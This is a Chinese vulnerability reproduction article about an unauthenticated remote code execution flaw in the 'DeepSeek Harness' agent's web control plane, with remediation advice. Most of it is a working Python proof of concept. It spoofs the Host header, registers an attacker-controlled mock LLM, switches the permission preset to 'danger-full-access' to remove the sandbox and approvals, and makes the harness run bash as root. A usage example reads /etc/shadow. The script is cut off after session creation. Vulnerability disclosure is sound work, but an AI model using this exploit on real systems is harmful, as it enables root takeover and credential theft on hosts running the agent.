DeepSeekHarness未授权远程代码执行复现

admin 2026-08-27 06:05:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: DeepSeekHarness(dsh0.1.0-rc.7)Web控制平面存在未授权远程代码执行漏洞。攻击者通过伪造Host头可绕过信任校验,利用settings.mutate注册恶意LLM提供方并提权至danger-full-access,最终通过session.prompt诱导模型执行bash命令,实现root权限任意命令执行。根因是信任墙仅校验Host头不校验连接来源。建议立即升级dsh、移除0.0.0.0绑定或前置真实认证网关。 综合评分: 89 文章分类: 漏洞分析,WEB安全,安全工具,红队,内网渗透


DeepSeek Harness 未授权远程代码执行复现

原创

喵星AI 喵星AI

喵星安全研究所

2026年8月25日 14:26 北京

在小说阅读器读本章

去阅读

一、漏洞概述

DeepSeek Harness(dsh 0.1.0-rc.7)的 Web 控制平面(HTTP RPC 接口,默认端口 3080)存在未授权访问 + 远程代码执行。

任意未授权访问者可在无任何凭证情况下:

  1. 伪造 Host 头绕过信任校验(isTrustedApiRequest 只校验 Host,不校验连接来源);
  2. 通过 settings.mutate 注册恶意 LLM 提供方 + 将权限预设改为 danger-full-access(无沙箱 + 免审批);
  3. 通过 session.prompt 诱导模型返回 bash 工具调用;
  4. 让 harness 以 root 在宿主机上执行任意命令。

已实测 id → uid=0(root) gid=0(root) groups=0(root)。


二、证据

信任墙绕过(Level 1 — 未授权控制平面)

| # | 场景 | 请求 | 响应 | | — | — | — | — | | ① | 基线(伪造外部 Host) | curl -s -o /dev/null -w "%{http_code}" http://10.0.2.11:3080/api/settings.describe -H "Host: evil.com" | 403 | | ② | Host 伪造(回环) | curl -s http://10.0.2.11:3080/api/settings.describe -H "Host: 127.0.0.1:3080" -d '{"type":"client-request","rpcId":"<uuid>","method":"settings.describe","payload":{}}' | 200 + 完整配置下发 | | ③ | 远程场景确认 | 经 LAN IP + Host: 127.0.0.1:3080 | 200,证明可跨网段利用 |

RPC 信封格式(/api/<method>,Content-Type: application/json):

{"type":"client-request","rpcId":"<uuid>","method":"<method>","payload":{}}

响应为 server-response 信封。可枚举 60+ RPC 方法(session.、settings.、llm.、host.、credentials.、workspace.、goal.、subagent.、skill.*)。

RCE 链(Level 2 — root 任意命令执行)

| 阶段 | 动作 | 结果 | | — | — | — | | ④ | settings.mutate → llm-pi-ai.providers.attacker-mock``{displayName, apiKeyEnv:"MOCK_API_KEY", api:"openai-completions", baseURL:"http://127.0.0.1:19999/v1", models:[{id:"mock-model", name, contextWindow, maxTokens}]} | 200 | | ⑤ | credentials.set → {ref:"MOCK_API_KEY", value:"sk-mock"} | 200 | | ⑥ | settings.mutate → permission.defaultPreset = "danger-full-access" | 200 | | ⑦ | session.create → 新会话 | 投影 currentValue: danger-full-access(pinInitialPermission 自动固定) | | ⑧ | session.selectModel → attacker-mock/mock-model | 200 | | ⑨ | session.prompt → mock LLM 返回 bash tool_call | harness 执行 | | ⑩ | session.history | tool/result → "uid=0(root) gid=0(root) groups=0(root)\n",isError:false,turn/end |

Bash 工具 schema(mock LLM 收到的工具定义):

{"name":"bash","schema":{"command":"string","description":"string","timeoutMs":"number"}}

浏览器演示(未授权 Web UI)

宿主浏览器(playwright MCP,192.168.1.1:8931)导航 http://10.0.2.11:3080/,未登录即完整渲染 DeepSeek Harness Web UI:

/tmp/dsh_ui.png &nbsp; &nbsp; &nbsp; &nbsp;— 初始 UI
/tmp/dsh_ui2.png &nbsp; &nbsp; &nbsp; — 未授权状态确认
/tmp/dsh_ui3.png &nbsp; &nbsp; &nbsp; — 点击"新建会话"后

三、利用链

伪造 Host: 127.0.0.1:3080
&nbsp; &nbsp; → settings.mutate 注入恶意 provider (attacker-mock → 攻击者控制 mock LLM)
&nbsp; &nbsp; → credentials.set 存凭证
&nbsp; &nbsp; → settings.mutate defaultPreset = danger-full-access
&nbsp; &nbsp; → session.create 新会话固定提权预设(免审批 + 无沙箱)
&nbsp; &nbsp; → session.selectModel 切到恶意模型
&nbsp; &nbsp; → session.prompt 诱导模型返回 bash tool_call
&nbsp; &nbsp; → harness 以 root 无沙箱执行任意命令

四、根因(已核对源码)

  1. 暴露面: 配置 /root/.dsh/profiles/web/cordis.patch.yml 将 webserver 绑定改写为 0.0.0.0:3080,全网可达。
  2. 信任墙缺陷: isTrustedApiRequest(dsh-client-connection)仅校验 Host 头(回环 127/8、localhost、[::1] 或信任权威),不校验连接来源地址。源码注释原文:

“this fence is not an auth layer.”

即任何人伪造 Host 即获得完整 RPC 控制平面。


五、自检清单

[ ] ① 实际发出请求: YES | ② 真实响应: YES | ③ 实际危害: YES (root 任意命令执行)
[ ] ④ 利用链完整: YES | ⑤ 黑名单通过: YES | ⑥ 等级准入: YES (致命, CVSS 9.8)

六、修复方案

  1. 升级 dsh 到修复版本(QVD-2026-57410 已修复 Host 头信任墙);
  2. 立即移除 cordis.patch.yml 中 0.0.0.0 绑定覆盖,改回回环监听(127.0.0.1:3080);
  3. 若必须对外暴露,前置真实认证网关(该 RPC 面本身无认证层),并将 isTrustedApiRequest 改为校验连接来源 IP + 双向 TLS / Token。

截图

POC

#!/usr/bin/env python3# -*- coding: utf-8 -*-"""QVD-2026-57410 — DeepSeek Harness (dsh) 未授权 RCE PoC=====================================================影响版本: @deepseek-ai/[email protected] (已验证)危害等级: 致命 / CVSS 9.8 &nbsp;—— 未授权 → root 任意命令执行
利用前提:&nbsp; * dsh Web 控制平面可达 (默认 :3080, 通常经 profile 配置绑定 0.0.0.0)&nbsp; * 信任墙 isTrustedApiRequest 仅校验 Host 头 (回环/信任权威), 不校验连接来源
攻击链:&nbsp; 伪造 Host → settings.mutate 注册恶意 provider (baseURL → 本脚本内置 mock LLM)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ credentials.set 写入凭证&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ settings.mutate permission.defaultPreset=danger-full-access&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ session.create (新会话自动固定提权预设)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ session.selectModel 切到恶意模型&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ session.prompt → mock LLM 返回 bash tool_call → harness 以 root 执行
用法:&nbsp; python3 dsh-rce-poc.py &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 本地默认链: 执行 id&nbsp; python3 dsh-rce-poc.py --command "cat /etc/shadow | head -3"&nbsp; python3 dsh-rce-poc.py --target http://10.0.2.11:3080 --host-header 127.0.0.1:3080 改成目标target&nbsp; python3 dsh-rce-poc.py --start-dsh &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 本地自动拉起 dsh 再打&nbsp; python3 dsh-rce-poc.py --no-cleanup &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 保留现场便于手动核查
依赖: 仅 Python 3 标准库。"""import&nbsp;argparseimport&nbsp;base64import&nbsp;jsonimport&nbsp;osimport&nbsp;signalimport&nbsp;socketimport&nbsp;subprocessimport&nbsp;sysimport&nbsp;threadingimport&nbsp;timeimport&nbsp;urllib.errorimport&nbsp;urllib.requestimport&nbsp;uuidfrom&nbsp;http.server&nbsp;import&nbsp;BaseHTTPRequestHandler, ThreadingHTTPServer
DEFAULT_TARGET =&nbsp;"http://127.0.0.1:3080"&nbsp;#修改目标targetDEFAULT_MOCK_PORT =&nbsp;19999DEFAULT_PROVIDER =&nbsp;"attacker-mock"DEFAULT_MODEL =&nbsp;"mock-model"DEFAULT_CRED_REF =&nbsp;"MOCK_API_KEY"DEFAULT_PRESET =&nbsp;"danger-full-access"DEFAULT_RESTORE_PRESET =&nbsp;"workspace-write"
# --------------------------------------------------------------------------- ## &nbsp;内置 mock LLM &nbsp;—— OpenAI 兼容 chat/completions# &nbsp;逻辑: 请求历史含 role=="tool" &nbsp;→ 返回收尾文本; 否则 → 返回 bash tool_call# --------------------------------------------------------------------------- #class&nbsp;MockLLMHandler(BaseHTTPRequestHandler):&nbsp; &nbsp;&nbsp;def&nbsp;log_message(self, *a): &nbsp;# 静音&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass
&nbsp; &nbsp;&nbsp;def&nbsp;_write_json(self, obj):&nbsp; &nbsp; &nbsp; &nbsp; data = json.dumps(obj).encode()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_response(200)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Content-Type",&nbsp;"application/json")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Content-Length",&nbsp;str(len(data)))&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Connection",&nbsp;"close")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.end_headers()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.wfile.write(data)
&nbsp; &nbsp;&nbsp;def&nbsp;_write_sse(self, chunks):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""以 chunked 编码输出 SSE 事件序列。"""&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_response(200)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Content-Type",&nbsp;"text/event-stream")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Cache-Control",&nbsp;"no-cache")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Connection",&nbsp;"close")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.end_headers()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;data&nbsp;in&nbsp;chunks:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;isinstance(data,&nbsp;str):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = data.encode()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.wfile.write(("%X\r\n"&nbsp;%&nbsp;len(data)).encode() + data +&nbsp;b"\r\n")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.wfile.flush()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.wfile.write(b"0\r\n\r\n")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.wfile.flush()
&nbsp; &nbsp;&nbsp;def&nbsp;_sse_event(self, obj):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"data: "&nbsp;+ json.dumps(obj) +&nbsp;"\n\n"
&nbsp; &nbsp;&nbsp;def&nbsp;do_GET(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;self.path.rstrip("/") ==&nbsp;"/v1/models":&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._write_json({&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"object":&nbsp;"list",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"data": [{"id": DEFAULT_MODEL,&nbsp;"object":&nbsp;"model",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"created":&nbsp;0,&nbsp;"owned_by":&nbsp;"mock"}],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; })&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._write_json({"error": {"message":&nbsp;"not found"}})
&nbsp; &nbsp;&nbsp;def&nbsp;do_POST(self):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;self.path.rstrip("/").endswith("/chat/completions"):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;self._write_json({"error": {"message":&nbsp;"not found"}})&nbsp; &nbsp; &nbsp; &nbsp; length =&nbsp;int(self.headers.get("Content-Length",&nbsp;0))&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; body = json.loads(self.rfile.read(length)&nbsp;or&nbsp;b"{}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; body = {}&nbsp; &nbsp; &nbsp; &nbsp; stream =&nbsp;bool(body.get("stream"))
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 历史中是否已带工具执行结果 → 收尾&nbsp; &nbsp; &nbsp; &nbsp; has_tool_result =&nbsp;any(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;isinstance(m,&nbsp;dict)&nbsp;and&nbsp;m.get("role") ==&nbsp;"tool"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;m&nbsp;in&nbsp;body.get("messages", [])&nbsp; &nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 请求是否已挂载 bash 工具 (未挂载时只回文本, 等 harness 挂上工具再触发)&nbsp; &nbsp; &nbsp; &nbsp; tools = body.get("tools")&nbsp;or&nbsp;[]&nbsp; &nbsp; &nbsp; &nbsp; bash_present =&nbsp;any(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;isinstance(t,&nbsp;dict)&nbsp;and&nbsp;t.get("function", {}).get("name") ==&nbsp;"bash"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;t&nbsp;in&nbsp;tools&nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;has_tool_result:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; msg = {"role":&nbsp;"assistant",&nbsp;"content":&nbsp;"Command executed."}&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;stream:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._write_sse([&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._sse_event(_chunk({"role":&nbsp;"assistant",&nbsp;"content":&nbsp;"Command executed."})),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._sse_event(_chunk({}, finish="stop")),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._sse_event({"id":&nbsp;"c1",&nbsp;"object":&nbsp;"chat.completion.chunk",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"created":&nbsp;0,&nbsp;"model": DEFAULT_MODEL,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"choices": [],&nbsp;"usage": _usage()}),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"data: [DONE]\n\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ])&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._write_json(_completion(msg,&nbsp;"stop"))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 未挂载 bash 工具 → 先回文本, 等待下一轮&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;bash_present:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;stream:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._write_sse([&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._sse_event(_chunk({"role":&nbsp;"assistant",&nbsp;"content":&nbsp;"Okay."})),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._sse_event(_chunk({}, finish="stop")),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"data: [DONE]\n\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ])&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._write_json(_completion({"role":&nbsp;"assistant",&nbsp;"content":&nbsp;"Okay."},&nbsp;"stop"))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 触发 bash 工具调用&nbsp; &nbsp; &nbsp; &nbsp; args = json.dumps({"command":&nbsp;self.server.command,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"description":&nbsp;"Run command via PoC"})&nbsp; &nbsp; &nbsp; &nbsp; tool_call = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"id":&nbsp;"call_"&nbsp;+ uuid.uuid4().hex[:16],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"type":&nbsp;"function",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"function": {"name":&nbsp;"bash",&nbsp;"arguments": args},&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;stream:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._write_sse([&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._sse_event(_chunk({"role":&nbsp;"assistant",&nbsp;"content":&nbsp;None})),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._sse_event(_chunk({"tool_calls": [{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"index":&nbsp;0,&nbsp;"id": tool_call["id"],&nbsp;"type":&nbsp;"function",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"function": {"name":&nbsp;"bash",&nbsp;"arguments": args},&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }]})),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._sse_event(_chunk({}, finish="tool_calls")),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"data: [DONE]\n\n",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ])&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m = {"role":&nbsp;"assistant",&nbsp;"content":&nbsp;None,&nbsp;"tool_calls": [tool_call]}&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self._write_json(_completion(m,&nbsp;"tool_calls"))

def&nbsp;_completion(msg, finish):&nbsp; &nbsp;&nbsp;return&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"id":&nbsp;"chatcmpl-"&nbsp;+ uuid.uuid4().hex[:16],&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"object":&nbsp;"chat.completion",&nbsp;"created":&nbsp;int(time.time()),&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"model": DEFAULT_MODEL,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"choices": [{"index":&nbsp;0,&nbsp;"message": msg,&nbsp;"finish_reason": finish}],&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"usage": _usage(),&nbsp; &nbsp; }

def&nbsp;_chunk(delta, finish=None):&nbsp; &nbsp; c = {"index":&nbsp;0,&nbsp;"delta": delta,&nbsp;"finish_reason": finish}&nbsp; &nbsp;&nbsp;return&nbsp;{"id":&nbsp;"chatcmpl-"&nbsp;+ uuid.uuid4().hex[:16],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"object":&nbsp;"chat.completion.chunk",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"created":&nbsp;int(time.time()),&nbsp;"model": DEFAULT_MODEL,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"choices": [c]}

def&nbsp;_usage():&nbsp; &nbsp;&nbsp;return&nbsp;{"prompt_tokens":&nbsp;1,&nbsp;"completion_tokens":&nbsp;1,&nbsp;"total_tokens":&nbsp;2}

def&nbsp;start_mock(command, port):&nbsp; &nbsp; srv = ThreadingHTTPServer(("127.0.0.1", port), MockLLMHandler)&nbsp; &nbsp; srv.command = command &nbsp;# handler 经 self.server.command 读取要执行的命令&nbsp; &nbsp; threading.Thread(target=srv.serve_forever, daemon=True).start()&nbsp; &nbsp;&nbsp;return&nbsp;srv

# --------------------------------------------------------------------------- ## &nbsp;dsh RPC 客户端 —— 伪造 Host 头 + client-request 信封# --------------------------------------------------------------------------- #class&nbsp;Harness:&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, target, host_header):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.target = target.rstrip("/")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.host_header = host_header&nbsp;or&nbsp;_default_host(target)
&nbsp; &nbsp;&nbsp;def&nbsp;rpc(self, method, payload):&nbsp; &nbsp; &nbsp; &nbsp; body = json.dumps({"type":&nbsp;"client-request",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"rpcId":&nbsp;str(uuid.uuid4()),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"method": method,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"payload": payload}).encode()&nbsp; &nbsp; &nbsp; &nbsp; req = urllib.request.Request(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.target +&nbsp;"/api/"&nbsp;+ method, data=body,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; headers={"Content-Type":&nbsp;"application/json",&nbsp;"Host":&nbsp;self.host_header})&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = urllib.request.urlopen(req, timeout=30)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;urllib.error.HTTPError&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; raw = e.read().decode(errors="replace")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError(f"{method}: HTTP&nbsp;{e.code}&nbsp;{raw[:300]}")&nbsp;from&nbsp;None&nbsp; &nbsp; &nbsp; &nbsp; raw = resp.read()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; env = json.loads(raw)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError(f"{method}: 非 JSON 响应&nbsp;{raw[:300]!r}")&nbsp;from&nbsp;None&nbsp; &nbsp; &nbsp; &nbsp; res = env.get("result")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;res&nbsp;is&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError(f"{method}: 无 result 字段:&nbsp;{str(env)[:300]}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;res.get("ok"):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError(f"{method}: RPC 错误&nbsp;{json.dumps(res.get('error'), ensure_ascii=False)[:400]}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;res.get("value")

def&nbsp;_default_host(target):&nbsp; &nbsp;&nbsp;from&nbsp;urllib.parse&nbsp;import&nbsp;urlparse&nbsp; &nbsp; p = urlparse(target)&nbsp; &nbsp;&nbsp;return&nbsp;p.netloc&nbsp;or&nbsp;"127.0.0.1"

# --------------------------------------------------------------------------- ## &nbsp;利用链# --------------------------------------------------------------------------- #def&nbsp;exploit(h: Harness, command, provider, model, cred_ref, mock_base_url, restore_preset, state=None):&nbsp; &nbsp;&nbsp;print("[*] 目标 &nbsp; &nbsp; &nbsp; &nbsp;:", h.target)&nbsp; &nbsp;&nbsp;print("[*] Host 头 &nbsp; &nbsp; :", h.host_header)&nbsp; &nbsp;&nbsp;print("[*] 命令 &nbsp; &nbsp; &nbsp; &nbsp;:", command)
&nbsp; &nbsp;&nbsp;# 1) 注册恶意 provider —— baseURL 指向本脚本内置 mock LLM&nbsp; &nbsp;&nbsp;print("[*] ① 注册恶意 provider:", provider)&nbsp; &nbsp; h.rpc("settings.mutate", {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ns":&nbsp;"llm-pi-ai",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ops": [{"op":&nbsp;"set",&nbsp;"path": ["providers", provider],&nbsp;"value": {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"displayName":&nbsp;"attacker",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"apiKeyEnv": cred_ref,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"api":&nbsp;"openai-completions",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"baseURL": mock_base_url,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"models": [{"id": model,&nbsp;"name":&nbsp;"Mock",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"contextWindow":&nbsp;131072,&nbsp;"maxTokens":&nbsp;8192}],&nbsp; &nbsp; &nbsp; &nbsp; }}],&nbsp; &nbsp; })&nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp; &nbsp; &nbsp;provider 已写入")
&nbsp; &nbsp;&nbsp;# 2) 写入凭证 (PI-AI 适配器强制要求 apiKey)&nbsp; &nbsp;&nbsp;print("[*] ② 写入凭证:", cred_ref)&nbsp; &nbsp; h.rpc("credentials.set", {"ref": cred_ref,&nbsp;"value":&nbsp;"sk-mock"})&nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp; &nbsp; &nbsp;凭证已写入")
&nbsp; &nbsp;&nbsp;# 3) 权限预设 → danger-full-access (无沙箱 + 免审批)&nbsp; &nbsp;&nbsp;print(f"[*] ③ 权限预设 →&nbsp;{DEFAULT_PRESET}")&nbsp; &nbsp; h.rpc("settings.mutate", {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ns":&nbsp;"permission",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"ops": [{"op":&nbsp;"set",&nbsp;"path": ["defaultPreset"],&nbsp;"value": DEFAULT_PRESET}],&nbsp; &nbsp; })&nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp; &nbsp; &nbsp;预设已生效 (新会话自动固定)")
&nbsp; &nbsp;&nbsp;# 4) 创建会话 (pinInitialPermission 固定提权预设)&nbsp; &nbsp;&nbsp;print("[*] ④ 创建会话")&nbsp; &nbsp; sess = h.rpc("session.create", {})&nbsp; &nbsp; sid = sess.get("sessionId")&nbsp;or&nbsp;sess.get("id")&nbsp;or&nbsp;sess.get("session", {}).get("sessionId")&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;sid:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError(f"session.create 无法定位 sessionId:&nbsp;{str(sess)[:300]}")&nbsp; &nbsp;&nbsp;if&nbsp;state&nbsp;is&nbsp;not&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp; state["sid"] = sid&nbsp; &nbsp;&nbsp;print(" &nbsp; &nbsp; &nbsp; &nbsp;sessionId =", sid)
